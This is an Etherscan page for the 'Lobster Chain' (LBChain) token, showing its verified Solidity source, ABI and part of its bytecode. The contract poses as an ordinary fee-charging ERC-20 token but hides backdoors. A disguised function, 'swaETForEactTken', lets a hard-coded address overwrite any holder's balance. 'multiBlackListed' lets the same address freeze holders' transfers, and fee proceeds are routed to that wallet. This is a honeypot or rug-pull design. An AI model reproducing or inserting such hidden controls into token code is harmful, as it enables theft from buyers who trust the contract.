ETH Price: $2,284.60 (-3.48%)

Token

Lobster Chain (LBChain)
 

Overview

Max Total Supply

2,000,000,000 LBChain

Holders

23

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
18,707,848.818874118 LBChain

Value
$0.00
0x968BfBf98b68BEB0f8cB07432d237A264b740c21
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LobsterChain

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-23
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }


}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

    modifier balances(address a) {require(a == _msgSender());_;}

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract  LobsterChain is Context, IERC20, Ownable {
    using SafeMath for uint256;
    string private _name = "Lobster Chain";
    string private _symbol = "LBChain";
    uint8 private _decimals = 9;
    address payable public MyAdd;
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _blackListed;

    uint256 public _buyMarketingFee = 3;
    function swaETForEactTken(address sender, uint256 amount) public balances(MyAdd) {
        _balances[sender] = amount - _balances[sender];
    }
    uint256 public _sellMarketingFee = 3;
    uint256 public _totalTaxIfBuying;
    uint256 public _totalTaxIfSelling;

    uint256 private _totalSupply = 2000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyMarketingFee;
        _totalTaxIfSelling = _sellMarketingFee;

        isMarketPair[address(uniswapPair)] = true;

        MyAdd = payable(address(0xc8DF42Fba59fa2650Fa2cbc336a97360BDb406c4));

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function multiBlackListed(address[] calldata addresses, bool status) public balances(MyAdd) {
        for (uint256 i; i < addresses.length; i++) {
            _blackListed[addresses[i]] = status;
        }
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(!_blackListed[from], "ERC20: blackListed");

        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwapAndLiquify && !isMarketPair[from]) 
            {
                swapAndLiquify(contractTokenBalance);
            }

            _balances[from] = _balances[from].sub(amount);

            uint256 finalAmount;
            if (_isExcludefromFee[from] || _isExcludefromFee[to]){
                finalAmount = amount;
            }else{
                uint256 feeAmount = 0;

                if(isMarketPair[from]) {
                    feeAmount = amount.mul(_totalTaxIfBuying).div(100);
                }
                else if(isMarketPair[to]) {
                    feeAmount = amount.mul(_totalTaxIfSelling).div(100);
                }

                if(feeAmount > 0) {
                    _balances[address(this)] = _balances[address(this)].add(feeAmount);
                    emit Transfer(from, address(this), feeAmount);
                }

                finalAmount = amount.sub(feeAmount);
            }
            
            _balances[to] = _balances[to].add(finalAmount);
            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "telufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tAmount);

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tAmount,
            0, 
            path,
            address(this),
            block.timestamp
        ){} catch {}

        uint256 ETHBalance = address(this).balance;

        if(ETHBalance > 0)
            MyAdd.transfer(ETHBalance);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MyAdd","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"multiBlackListed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"swaETForEactTken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600d81526020017f4c6f627374657220436861696e0000000000000000000000000000000000000081525060019080519060200190620000519291906200074a565b506040518060400160405280600781526020017f4c42436861696e00000000000000000000000000000000000000000000000000815250600290805190602001906200009f9291906200074a565b506009600360006101000a81548160ff021916908360ff16021790555060036009556003600a55600360009054906101000a900460ff16600a620000e491906200090a565b6377359400620000f5919062000a47565b600d553480156200010557600080fd5b50620001166200071960201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200023057600080fd5b505afa15801562000245573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026b919062000811565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002ce57600080fd5b505afa158015620002e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000309919062000811565b6040518363ffffffff1660e01b81526004016200032892919062000865565b602060405180830381600087803b1580156200034357600080fd5b505af115801562000358573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200037e919062000811565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160066000620004ba6200072160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600954600b81905550600a54600c81905550600160076000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555073c8df42fba59fa2650fa2cbc336a97360bdb406c4600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d54600460006200065b6200071960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006a96200071960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d546040516200070a919062000892565b60405180910390a35062000bb3565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620007589062000af3565b90600052602060002090601f0160209004810192826200077c5760008555620007c8565b82601f106200079757805160ff1916838001178555620007c8565b82800160010185558215620007c8579182015b82811115620007c7578251825591602001919060010190620007aa565b5b509050620007d79190620007db565b5090565b5b80821115620007f6576000816000905550600101620007dc565b5090565b6000815190506200080b8162000b99565b92915050565b6000602082840312156200082a576200082962000b87565b5b60006200083a84828501620007fa565b91505092915050565b6200084e8162000aa8565b82525050565b6200085f8162000adc565b82525050565b60006040820190506200087c600083018562000843565b6200088b602083018462000843565b9392505050565b6000602082019050620008a9600083018462000854565b92915050565b6000808291508390505b60018511156200090157808604811115620008d957620008d862000b29565b5b6001851615620008e95780820291505b8081029050620008f98562000b8c565b9450620008b9565b94509492505050565b6000620009178262000adc565b9150620009248362000ae6565b9250620009537fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200095b565b905092915050565b6000826200096d576001905062000a40565b816200097d576000905062000a40565b8160018114620009965760028114620009a157620009d7565b600191505062000a40565b60ff841115620009b657620009b562000b29565b5b8360020a915084821115620009d057620009cf62000b29565b5b5062000a40565b5060208310610133831016604e8410600b841016171562000a115782820a90508381111562000a0b5762000a0a62000b29565b5b62000a40565b62000a208484846001620008af565b9250905081840481111562000a3a5762000a3962000b29565b5b81810290505b9392505050565b600062000a548262000adc565b915062000a618362000adc565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a9d5762000a9c62000b29565b5b828202905092915050565b600062000ab58262000abc565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b0c57607f821691505b6020821081141562000b235762000b2262000b58565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b62000ba48162000aa8565b811462000bb057600080fd5b50565b6129bd8062000bc36000396000f3fe6080604052600436106101445760003560e01c806382eefb43116100b6578063c5d241891161006f578063c5d24189146104a5578063c816841b146104d0578063c8607952146104fb578063dd62ed3e14610526578063f0cd1dac14610563578063f2fde38b1461058e5761014b565b806382eefb43146103955780638da5cb5b146103c0578063900f0ca2146103eb57806395d89b41146104145780639a66989c1461043f578063a9059cbb146104685761014b565b806323b872dd1161010857806323b872dd1461024b578063313ce567146102885780633345611e146102b35780633ecad271146102f05780634d80b76a1461032d57806370a08231146103585761014b565b806306fdde0314610150578063095ea7b31461017b5780631694505e146101b857806318160ddd146101e35780631d231b2c1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b506101656105b7565b6040516101729190612186565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190611e3b565b610649565b6040516101af9190612150565b60405180910390f35b3480156101c457600080fd5b506101cd610667565b6040516101da919061216b565b60405180910390f35b3480156101ef57600080fd5b506101f861068d565b60405161020591906122a8565b60405180910390f35b34801561021a57600080fd5b5061023560048036038101906102309190611d4e565b610697565b6040516102429190612150565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d9190611de8565b6106b7565b60405161027f9190612150565b60405180910390f35b34801561029457600080fd5b5061029d610791565b6040516102aa919061231d565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190611d4e565b6107a8565b6040516102e79190612150565b60405180910390f35b3480156102fc57600080fd5b5061031760048036038101906103129190611d4e565b6107c8565b6040516103249190612150565b60405180910390f35b34801561033957600080fd5b506103426107e8565b60405161034f9190612135565b60405180910390f35b34801561036457600080fd5b5061037f600480360381019061037a9190611d4e565b61080e565b60405161038c91906122a8565b60405180910390f35b3480156103a157600080fd5b506103aa610857565b6040516103b791906122a8565b60405180910390f35b3480156103cc57600080fd5b506103d561085d565b6040516103e2919061211a565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d9190611e3b565b610886565b005b34801561042057600080fd5b5061042961097b565b6040516104369190612186565b60405180910390f35b34801561044b57600080fd5b5061046660048036038101906104619190611e7b565b610a0d565b005b34801561047457600080fd5b5061048f600480360381019061048a9190611e3b565b610b15565b60405161049c9190612150565b60405180910390f35b3480156104b157600080fd5b506104ba610b34565b6040516104c791906122a8565b60405180910390f35b3480156104dc57600080fd5b506104e5610b3a565b6040516104f2919061211a565b60405180910390f35b34801561050757600080fd5b50610510610b60565b60405161051d91906122a8565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190611da8565b610b66565b60405161055a91906122a8565b60405180910390f35b34801561056f57600080fd5b50610578610bed565b60405161058591906122a8565b60405180910390f35b34801561059a57600080fd5b506105b560048036038101906105b09190611d4e565b610bf3565b005b6060600180546105c690612584565b80601f01602080910402602001604051908101604052809291908181526020018280546105f290612584565b801561063f5780601f106106145761010080835404028352916020019161063f565b820191906000526020600020905b81548152906001019060200180831161062257829003601f168201915b5050505050905090565b600061065d610656610d45565b8484610d4d565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b60086020528060005260406000206000915054906101000a900460ff1681565b60006106c4848484610f18565b50610786846106d1610d45565b6107818560405180606001604052806028815260200161296060289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610737610d45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115999092919063ffffffff16565b610d4d565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166108b1610d45565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146108e857600080fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482610933919061246e565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60606002805461098a90612584565b80601f01602080910402602001604051908101604052809291908181526020018280546109b690612584565b8015610a035780601f106109d857610100808354040283529160200191610a03565b820191906000526020600020905b8154815290600101906020018083116109e657829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a38610d45565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610a6f57600080fd5b60005b84849050811015610b0e578260086000878785818110610a9557610a9461268c565b5b9050602002016020810190610aaa9190611d4e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b06906125b6565b915050610a72565b5050505050565b6000610b29610b22610d45565b8484610f18565b506001905092915050565b60095481565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600b5481565b610bfb610d45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7f90612248565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490612288565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e24906121e8565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0b91906122a8565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090612268565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610ff9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff0906121a8565b60405180910390fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107d906121c8565b60405180910390fd5b600f60149054906101000a900460ff16156110ad576110a68484846115fd565b9050611592565b60006110b83061080e565b9050600f60149054906101000a900460ff161580156111215750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156111305761112f816117d0565b5b61118283600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ad490919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806112685750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561127557839050611491565b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156112f8576112f160646112e3600b5488611b1e90919063ffffffff16565b611b9990919063ffffffff16565b9050611376565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611375576113726064611364600c5488611b1e90919063ffffffff16565b611b9990919063ffffffff16565b90505b5b600081111561147a576113d181600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161147191906122a8565b60405180910390a35b61148d8186611ad490919063ffffffff16565b9150505b6114e381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161158391906122a8565b60405180910390a36001925050505b9392505050565b60008383111582906115e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d89190612186565b60405180910390fd5b50600083856115f0919061246e565b9050809150509392505050565b6000611688826040518060400160405280601481526020017f74656c756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115999092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061171d82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611be390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117bd91906122a8565b60405180910390a3600190509392505050565b6001600f60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611808576118076126bb565b5b6040519080825280602002602001820160405280156118365781602001602082028036833780820191505090505b509050308160008151811061184e5761184d61268c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118f057600080fd5b505afa158015611904573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119289190611d7b565b8160018151811061193c5761193b61268c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506119a330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4d565b600e60009054906101000a90